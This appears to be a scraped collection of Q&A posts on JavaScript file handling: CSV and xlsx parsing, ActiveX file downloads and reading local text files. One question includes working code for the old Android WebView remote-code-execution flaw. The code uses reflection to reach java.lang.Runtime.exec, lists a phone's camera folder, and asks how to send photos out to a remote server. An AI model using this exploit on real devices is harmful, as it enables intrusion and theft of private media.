We Keep Coding

Using JavaScript to load data from CSV file into the script as array

I am working on an Adobe Illustrator JavaScript and need to load data from a CSV file on my computer as an array into the script so I can work with them later (everything Is happening on my computer, and nothing happens online/web browser.) I need every line of the text in the CSV to be separated in the array, and then I need to separate the words in the line into an array so that I have an array of arrays in the end. Each line has three variables which get fed into a function that has to happen for each line.
The error I am getting from the code below says:
'Error 25: Expected: ;. -> let reader = new FileReader();'
var csv = Folder ("Path to my csv file");
function processData(csvFile) {
let reader = new FileReader();
reader.readAsText(csvFile);
reader.onload = function(event) {
var allText = reader.result;
};
const allTextLinesArr = allText.toString().split(/\r\n|\n/);
var alen = allTextLinesArr.length;
const allTextLinesArrArr = [];
for (var i=1; i<=alen; i++) {
allTextLinesArrArr[i-1] = allTextLinesArr[i-1].split(",");
}
for (var i=1; i<=alen; i++) {
doStuff(allTextLinesArrArr[i-1][0],allTextLinesArrArr[i-1][1],allTextLinesArrArr[i-1][2]);
}
}

Here is the classic native Extendscript way to read CSV data from a file:
var csv_file = File('test.csv');
csv_file.open('r');
csv_file.encoding = 'utf-8';
var data = csv_file.read().split('/\r\n|\n/'); // split by lines
csv_file.close();
for (var row in data) data[row].split(','); // split all lines by comas
alert(data); // here is your 2d array

Error 25 isn't a standard Javascript error that you'd ever see in a web browser.
Are you using something like Adobe ExtendScript perhaps? If so, perhaps update your question with exactly where this code is being used.
The answer however, is probably that the program that you're using has an old version of Javascript that doesn't support FileReader (which is a fairly new bit of Javascript code).
It's also worth noting that you wouldn't usually be able to access the user's file from Javascript (without the user selecting it manually). However, it's possible that the program you're using to run JS does support this.

Solution to map different excel files to db

I have to map a lot of different files with different structures to a db. There is a lot of different tables in those xlsx so I thought about schemeless noSQL approach, but I'm quite newbie in this field.
It should be a microservice with client interface for choosing tables/cells for parsing xlsx files. I do not have strict technology; it could be JAVA, GROOVY, Python or even a JavaScript engine.
Do you know any working solution for doing it?
Here is example xlsx (but I've got also other files, also in xls format): http://stat.gov.pl/download/gfx/portalinformacyjny/pl/defaultaktualnosci/5502/11/13/1/wyniki_finansowe_podmiotow_gospodarczych_1-6m_2015.xlsx

The work you have to do is called ETL (Extract Transform Load). You need to either find a good ETL software (here is a discussion about open source ETL) or to script your own solution in a language you are used with.
The advantage of a ready made GUI software is that you just have to drag and drop data but if you have some custom logic or semi structured data like in your xlsx example, you have limited support.
The advantage of writing your own script is you have all the freedom you need.
I have done some ETL work and I used successfully Groovy for writing my own solution with custom logic and so on, and in terms of GUI I used Altova Mapforce when I had to import some exotic file types.
If you decide to write your own solution you have to:
Convert all data to an easy to load format. In your case you have to convert each xls or xlsx tab to CSV with a naming convention.
Load your files in your chosen language for transforming
Do your logic to put data in a desirable format
Save it in a database (SQL or noSQL)

Maybe you should try Google Sheets to display excel and Google Apps Script (https://developers.google.com/apps-script/overview) to write custom add-on for parsing data to JSON.
Spreadsheet Service (https://developers.google.com/apps-script/reference/spreadsheet/) has plenty methods to access data in sheets.
Next you can send this JSON over API (https://developers.google.com/apps-script/reference/url-fetch/url-fetch-app) or put directly into database (https://developers.google.com/apps-script/guides/jdbc).
Maybe isn't clean, but fast solution.

I had a project that done work almost the same as your problem but it seem easier as I had a fixed structure of xlsx files.
For xlsx parsing, I had experiment with Python and Openpyxl and had no struggle while working with them, they are simple, fast and easy to use.
For database, I recommend using MongoDB, you can deal with documents and collections in MongoDB just as simple as working with JSON objects or a set of JSON objects. PyMongo is the best and recommended way to work with MongoDB from Python I think.
The problem is you have different files with different structures. I cannot recommend anything deeper on this without viewing your data. But you should find the general structure of them or you have to figure out the way to classify them into common sets, each set will be parsed using appropriate algorithm.

Javascript solution, as xlsx2csv (you can make export anywhere):
var def = "1.xlsx";
if (WScript.Arguments.length>0) def = WScript.Arguments(0);
var col = [];
var objShell = new ActiveXObject( "Shell.Application" );
var fs = new ActiveXObject("Scripting.FileSystemObject");
function flush(){
WScript.Echo(col.join(';'));
}
function import_xlsx(file) {
var strZipFile = file; // '"1.xlsx" 'name of zip file
var outFolder = "."; // 'destination folder of unzipped files (must exist)
var pwd =WScript.ScriptFullName.replace( WScript.ScriptName, "");
var i,j,k;
var strXlsFile = strZipFile;
var strZipFile = strXlsFile.replace( ".xlsx",".zip").replace( ".XLSX",".zip");
fs.CopyFile (strXlsFile,strZipFile, true);
var objSource = objShell.NameSpace(pwd+strZipFile).Items();
var objTarget = objShell.NameSpace(pwd+outFolder);
for (i=0;i<objSource.Count;i++)
if (objSource.item(i).Name == "xl"){
if (fs.FolderExists("xl")) fs.DeleteFolder("xl");
objTarget.CopyHere(objSource.item(i), 256);
}
var xml = new ActiveXObject("Msxml2.DOMDocument.6.0");
xml.load("xl\\sharedStrings.xml");
var sel = xml.selectNodes("/*/*/*") ;
var vol = [];
for(i=0;i<sel.length;i++) vol.push(sel[i].text);
xml.load ("xl\\worksheets\\sheet1.xml");
ret = "";
var line = xml.selectNodes("/*/*/*");
var li, line2 = 0, line3=0, row;
for (li = 0; li< line.length; li++){
if (line[li].nodeName == "row")
for (row=0;row<line[li].childNodes.length;row++){
r = line[li].childNodes[row].selectSingleNode("#r").text;
line2 = eval(r.replace(r.substring(0,1),""));
if (line2 != line3) {
line3 = line2;
if (line3 != 0) {
//flush -------------------------- line3
flush();
for (i=0;i<col.length;i++) col[i]="";
}
}
try{
t = line[li].childNodes[row].selectSingleNode("#t").text;
//i = instr("ABCDEFGHIJKLMNOPQRSTUVWXYZ", left(r,1))
i = ("ABCDEFGHIJKLMNOPQRSTUVWXYZ").indexOf(r.charAt(0));
while (i > col.length) col.push("");
if (t == "s"){
t = eval(line[li].childNodes[row].firstChild.text)
col[i] = vol[t];
} else col[i] = line[li].childNodes[row].firstChild.text;
} catch(e) {};
}
flush();
}
if (fs.FolderExists("xl")) fs.DeleteFolder("xl");
if (fs.FileExists(strZipFile)) fs.DeleteFile(strZipFile);
}
import_xlsx(def);

Handle the output of 'cat example.png' in JS

I am trying, out of interest, to do some remote code execution on my old Android phone. On old versions of the Android "WebView" component, there is a vulnerability that makes it possible to execute shell code and read the response via JS. The relevant code, taken from here, looks like this:
function execute(cmdArgs)
{
return SmokeyBear.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
[...]
var p = execute(["ls","/mnt/sdcard/DCIM/Camera/"]);
input = getContents(p.getInputStream());
In this example, we list the files in the Camera folder and store them into 'input' as a string, which worked fine for me.
I have read however that the same vulnerability could be used to exfiltrate whole media files. The problem is that I do not know what type of data I get if I just remote-execute 'cat /path/to/example.png' on the phone. I want to submit the data to my (Python) web server. I tried running the above code, converting the bytes to a string (which contains a lot of gibberish), send the string via an XMLHttpRequest, then on my server just save that string to a binary file. That didn't work, obviously. I strongly suspect I should base64 encode the whole thing before transmission, but I don't even know how to retrieve the raw byte array from p.getInputStream() . It doesn't help that google doesn't give me any meaningful results for 'javascript inputstream' at all ...

ActiveXObject to download directly to HDD

Is there a native ActiveX Object or similar that I can use to download a source file straight to my HDD. Currently I'm using the following:
function downloadToFile(url, file) {
var xhr = new ActiveXObject("msxml2.xmlhttp"),
ado = new ActiveXObject("ADODB.Stream");
xhr.open("GET", url, false);
xhr.send();
if (xhr.status === 200) {
ado.type = 1;
ado.open();
ado.write(xhr.responseBody);
ado.saveToFile(file);
ado.close();
}
}
But this feels a bit inefficient for a few reasons:
I'm currently using two objects in place of what could possibly be a single object.
The entire response is stored in memory until its wrote to file. This isn't an issue for the most part until I use it to download fairly large files.
Notes/Edits:
I'm working from within microsoft's MSScriptControl.ScriptControl so many web-based libraries will not help.
I'm not necessarily looking for a single object if an answer is able to write the data to file as it is received.

BITSAdmin
BITSAdmin is a Windows command-line tool for downloading and uploading files using the Background Intelligent Transfer Service (BITS).
Note: In Windows 7, BITSAdmin states it's deprecated in favor of PowerShell BITS cmdlets, and may not be included in future Windows versions.
Syntax:
bitsadmin /transfer job_name url local_name
JScript version:
var oShell = new ActiveXObject("WScript.Shell");
oShell.Run("bitsadmin /transfer myDownloadJob http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png C:\\Work\\wikipedia-logo.png");
.NET System.Net.WebClient Class
If you have .NET Framework, you can register the System.Net.WebClient class for COM access:
C:\Windows\Microsoft.NET\Framework\v4.0.30319> regasm System.dll
and then use it like this:
var strURL = "http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png";
var strFilePath = "C:\\Work\\wikipedia-logo.png";
var oWebClient = new ActiveXObject("System.Net.WebClient");
oWebClient.DownloadFile(strURL, strFilePath);
Chilkat HTTP Library
Chilkat HTTP ActiveX library (commercial) lets you download files directly:
var strURL = "http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png";
var strFilePath = "C:\\Work\\wikipedia-logo.png";
var oHTTP = new ActiveXObject("Chilkat_9_5_0.Http");
// Any string unlocks the component for the 1st 30-days.
var success = oHTTP.UnlockComponent("Anything for 30-day trial");
if (success != 1) {
WScript.Echo(oHTTP.LastErrorText);
WScript.Quit();
}
success = oHTTP.Download(strURL, strFilePath);
if (success != 1)
WScript.Echo(oHTTP.LastErrorText);
cURL
Or how about shelling out to cURL (free, MIT/X derivate license)? Though I guess it counts as two objects because of WScript.Shell:
var oShell = new ActiveXObject("WScript.Shell");
oShell.Run("curl -o C:\\Work\\wikipedia-logo.png http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png");

Read local text file using Javascript

I am following an old stackoverflow post on how to read in a text file using javascript seen here: Javascript - read local text file
and I cannot get it to work. I am very new to javascript and all I want to do is store the file to a var and display it on screen so I know it is being read in and split correctly. What am I doing wrong? I know there are many new ways to do this but this is a very early attempt at javascript for me and I found this code to be the most readable example I found online. Im not sure if it matters but the file im trying to read from is about 300 pages of gps data.
I tried:
pasting the file path into my browser (works fine)
removing the state and status checks (no difference.... and bad practice I know)
changing browsers (no difference, though I have been using Chrome)
var allText;
function readTextFile(file)
{
var rawFile = new XMLHttpRequest();
rawFile.open("GET", file, false);
rawFile.onreadystatechange = function ()
{
if(rawFile.readyState === 4)
{
if(rawFile.status === 200 || rawFile.status == 0)
{
allText = rawFile.responseText;
alert(allText);
}
}
}
rawFile.send(null);
}
readTextFile("file:////var/www/html/gpsPoints.txt");
locations=allText.split(",");